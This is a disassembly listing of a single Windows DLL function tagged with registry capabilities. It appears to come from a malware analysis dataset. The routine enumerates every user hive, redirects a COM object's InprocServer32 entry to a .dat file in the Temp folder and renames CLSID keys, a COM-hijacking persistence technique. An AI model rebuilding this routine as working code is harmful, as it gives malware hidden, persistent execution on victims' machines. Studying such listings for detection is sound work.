Function at 0x1800014f0
Capabilities:
Query or enumerate registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r13
push r14
lea rbp, [rsp - 0xdc0]
sub rsp, 0xec0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xdb0], rax
xor r13d, r13d
lea r14, str.C:UsersdellAppDataLocalTempMSServerTypeLib73816281.dat
mov r12d, r13d
nop word [rax + rax]
lea rax, [rsp + 0x60]
lea rdx, [0x180010b39]
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000003
xor sil, sil
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1800019a9
lea rcx, [rbp + 0xa1]
xor edx, edx
mov r8d, 0x103
mov byte [rbp + 0xa0], r13b
call fcn.180002570
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x78]
lea r8, [rsp + 0x6c]
lea rdx, [rbp + 0xa0]
mov qword [rsp + 0x58], rax
lea rax, [rbp - 0x74]
xor r9d, r9d
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x78]
mov dword [rsp + 0x6c], 0x104
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov dword [rsp + 0x68], r13d
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x74]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x7c]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov edx, dword [rsp + 0x68]
test edx, edx
je 0x180001975
mov ebx, r13d
nop
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x78]
lea r9, [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r13
lea r8, [rbp - 0x60]
mov edx, ebx
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x70], 0xff
mov qword [rsp + 0x20], r13
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x180001959
lea rdx, str.Classes
lea rcx, [rbp - 0x60]
call fcn.180001bc4
test rax, rax
je 0x180001959
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x5b1]
xor edx, edx
mov r8d, 0x3ff
mov byte [rbp + 0x5b0], r13b
call fcn.180002570
lea rcx, [rbp + 0x9b1]
xor edx, edx
mov r8d, 0x3ff
mov byte [rbp + 0x9b0], r13b
call fcn.180002570
lea rcx, [rbp + 0x1b1]
xor edx, edx
mov r8d, 0x3ff
mov byte [rbp + 0x1b0], r13b
call fcn.180002570
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x5b0]
lea rdx, [rbp - 0x60]
repne scasb al, byte [rdi]
xor ecx, ecx
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x1800016e0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x5b0]
repne scasb al, byte [rdi]
mov rax, qword [str.CLSID2222222222222InprocServer32]
or rcx, 0xffffffffffffffff
mov qword [rdi - 1], rax
mov rax, qword [0x180010b88]
lea rdx, [rbp - 0x60]
mov qword [rdi + 7], rax
mov rax, qword [0x180010b90]
mov qword [rdi + 0xf], rax
mov rax, qword [0x180010b98]
mov qword [rdi + 0x17], rax
mov eax, dword [0x180010ba0]
mov dword [rdi + 0x1f], eax
movzx eax, word [0x180010ba4]
mov word [rdi + 0x23], ax
xor eax, eax
lea rdi, [rbp + 0x9b0]
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x180001760
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x9b0]
repne scasb al, byte [rdi]
mov rax, qword [str.CLSID2222222222222]
or rcx, 0xffffffffffffffff
mov qword [rdi - 1], rax
mov rax, qword [0x180010bb0]
lea rdx, [rbp - 0x60]
mov qword [rdi + 7], rax
mov eax, dword [0x180010bb8]
mov dword [rdi + 0xf], eax
movzx eax, word [0x180010bbc]
mov word [rdi + 0x13], ax
movzx eax, byte [0x180010bbe]
mov byte [rdi + 0x15], al
xor eax, eax
lea rdi, [rbp + 0x1b0]
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x1800017d0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x1b0]
repne scasb al, byte [rdi]
mov rax, qword [str.CLSID2DEA658F_54C1_4227_AF9B_260AB5FC3543InprocServer32]
lea rdx, [rbp + 0x1b0]
mov qword [rdi - 1], rax
mov rax, qword [0x180010bc8]
mov r9d, 0x20006
mov qword [rdi + 7], rax
mov rax, qword [0x180010bd0]
xor r8d, r8d
mov qword [rdi + 0xf], rax
mov rax, qword [0x180010bd8]
mov rcx, 0xffffffff80000003
mov qword [rdi + 0x17], rax
mov rax, qword [0x180010be0]
mov qword [rdi + 0x1f], rax
mov rax, qword [0x180010be8]
mov qword [rdi + 0x27], rax
mov rax, qword [0x180010bf0]
mov qword [rdi + 0x2f], rax
mov eax, dword [0x180010bf8]
mov dword [rdi + 0x37], eax
movzx eax, byte [0x180010bfc]
mov byte [rdi + 0x3b], al
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1800018ad
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [rsp + 0x60]
lea rdx, [0x180010b39]
inc eax
mov r9d, 1
xor r8d, r8d
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x180001956
mov qword [rsp + 0x40], r13
lea rax, [rsp + 0x60]
lea rdx, [rbp + 0x5b0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r13
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000003
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r13d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x180001959
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [rsp + 0x60]
lea rdx, [0x180010b39]
inc eax
mov r9d, 1
xor r8d, r8d
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rdx, [rsp + 0x60]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rdx
lea rdx, [rbp + 0x9b0]
mov rcx, 0xffffffff80000003
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rcx, qword [rsp + 0x60]
lea r8, str.2DEA658F_54C1_4227_AF9B_260AB5FC3543
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_RegRenameKey]
mov sil, 1
inc ebx
cmp ebx, dword [rsp + 0x68]
jb 0x180001610
test sil, sil
jne 0x180001997
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc r12d
cmp r12d, 0x3e8
jl 0x180001540
mov eax, 1
jmp 0x1800019b6
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x1800019b6
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov rcx, qword [rbp + 0xdb0]
xor rcx, rsp
call fcn.180001a00
lea r11, [rsp + 0xec0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop rbp
ret